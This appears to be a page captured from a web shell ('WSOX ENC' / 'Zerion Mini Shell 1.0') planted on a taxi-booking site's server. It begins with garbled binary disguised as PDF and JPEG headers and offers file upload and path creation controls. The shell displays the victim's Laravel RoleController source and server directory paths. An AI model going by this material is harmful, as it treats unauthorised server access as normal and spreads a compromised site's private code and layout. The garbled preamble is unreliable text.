%PDF- %PDF- ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC
Mini Shell

Mini Shell

Direktori : /var/www/html/ctctaxi_new/app/Http/Controllers/Web/Master/
Upload File :
Create Path :
Current File : /var/www/html/ctctaxi_new/app/Http/Controllers/Web/Master/RoleController.php

<?php

namespace App\Http\Controllers\Web\Master;

use App\Base\Filters\Master\CommonMasterFilter;
use App\Base\Libraries\QueryFilter\QueryFilterContract;
use App\Http\Controllers\Web\BaseController;
use App\Http\Requests\Master\Roles\AttachAndDetachPermissionsRequest;
use App\Http\Requests\Master\Roles\CreateRoleRequest;
use App\Http\Requests\Master\Roles\UpdateRoleRequest;
use App\Models\Access\Permission;
use App\Models\Access\Role;
use App\Base\Constants\Auth\Role as RoleSlug;

/**
 * @resource Roles&Permissions
 *
 * Roles & Permissions
 */
class RoleController extends BaseController
{

    /**
     * The role model instance.
     *
     * @var \App\Models\Access\Role
     */
    protected $role;

    /**
     * The Permission model instance.
     *
     * @var \App\Models\Access\Permission
     */
    protected $permission;

    /**
     * RoleController constructor.
     *
     * @param \App\Models\Role $role
     * @param ImageUploaderContract $imageUploader
     */
    public function __construct(Role $role, Permission $permission)
    {
        $this->role = $role;
        $this->permission = $permission;
    }

    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\JsonResponse
     *
     */
    public function index(QueryFilterContract $queryFilter)
    {
        $result = Role::where('slug', '!=', 'super-admin')->whereNotIn('slug', RoleSlug::mobileAppRoles())->whereNotIn('slug', RoleSlug::dispatchRoles());

        $results = $queryFilter->builder($result)->customFilter(new CommonMasterFilter)->paginate();

        $page = trans('pages_names.roles');

        $main_menu = 'settings';

        $sub_menu = 'roles';

        return view('admin.master.roles.index', compact('results', 'page', 'main_menu', 'sub_menu'));
    }

    /**
     * Create Role
     * @return redirect to create role page
     */
    public function create()
    {
         if (env('APP_FOR') == 'demo') {
            $message = trans('succes_messages.you_are_not_authorised');
            return redirect('roles')->with('warning', $message);
        }
        $page = trans('pages_names.add_role');

        $permissions = $this->permission->get();

        $main_menu = 'settings';

        $sub_menu = 'roles';

        return view('admin.master.roles.addRole', compact('page', 'permissions', 'main_menu', 'sub_menu'));
    }


    /**
     * Get Roles By ID
     * @param id
     * @return \Illuminate\Http\JsonResponse
     */
    public function getById($id)
    {
        $role = $this->role->where('id', $id)->first();

        $page = trans('pages_names.edit_role');

        $permissions = $this->permission->get();

        $main_menu = 'settings';

        $sub_menu = 'roles';

        return view('admin.master.roles.editRole', compact('role', 'permissions', 'page', 'main_menu', 'sub_menu'));
    }

    /**
     * create the Role.
     *
     * @param \App\Http\Requests\Auth\Registration\CreateRoleRequest $request
     * @return \Illuminate\Http\JsonResponse
     * @response
     * {
     *"success": true,
     *"message": "success"
     *}
     */
    public function store(CreateRoleRequest $request)
    {
         if (env('APP_FOR')=='demo') {
            $message = trans('succes_messages.you_are_not_authorised');

            return redirect()->back()->with('warning', $message);
           }

        $role = $this->role->create($request->all());

        $message = trans('succes_messages.role_added_succesfully');

        return redirect('roles')->with('success', $message);
    }

    /**
     * Update role
     * @param UpdateRoleRequest $role
     * @return \Illuminate\Http\JsonResponse
     * @hideFromAPIDocumentation
     * @response
     * {
     *"success": true,
     *"message": "success"
     *}
     */
    public function update(UpdateRoleRequest $request, Role $role)
    {
        $role->update($request->all());

        $message = trans('succes_messages.role_updated_succesfully');

        return redirect('roles')->with('success', $message);
    }


    /**
     * Assign Permissions
     * @param id
     * @return
     */
    public function assignPermissionView($id)
    {
        $role = $this->role->where('id', $id)->first();

        $page = trans('pages_names.assign_permissions');

        $attachable_permissions = $this->permission->get();

        // $permissions = $this->getAttachablePermissions($attachable_permissions);

        // Filter out specific permissions by ID
        $filtered_permissions = $attachable_permissions->reject(function ($permission) {
            return in_array($permission->id, [2, 4, 5]);
        });

        $permissions = $this->getAttachablePermissions($filtered_permissions);

        $main_menu = 'settings';

        $sub_menu = 'roles';

        return view('admin.master.roles.assignPermissions', compact('role', 'permissions', 'page', 'main_menu', 'sub_menu'));
    }

    /**
     * Attach And Detach Permissions
     * @param Request $request, Role $role
     * @return Redirect to roles page with success message
     * @response
     * {
     *"success": true,
     *"message": "success"
     *}
     */
    public function attachAndDetachPermissions(AttachAndDetachPermissionsRequest $request, Role $role)
    {
        $permissions = $request->input('permissions');

        if (count($role->permissions) > 0) {
            $role->detachPermissions($role->permissions);

            $attachable_permissions = $this->getPermissions($permissions);

            $role->attachPermissions($attachable_permissions);
        } else {
            $attachable_permissions = $this->getPermissions($permissions);

            $role->attachPermissions($attachable_permissions);
        }

        $message = trans('succes_messages.permission_assigned_succesfully');

        return redirect('roles/assign/permissions/'.$role->id)->with('success', $message);
    }

    /**
     * Get all permissions by ids
     * @param $permissions
     * @return
     */
    public function getPermissions($permissions)
    {
        return $permissions = $this->permission->whereIn('id', $permissions)->get();
    }

    /**
    * Get Attachable Permissions
    */
    public function getAttachablePermissions($permissions)
    {
        $menu =[];

        foreach ($permissions as $key => $permission) {
            $menu[$permission->main_menu][]=$permission;
        }

        return $menu;
    }
}

Zerion Mini Shell 1.0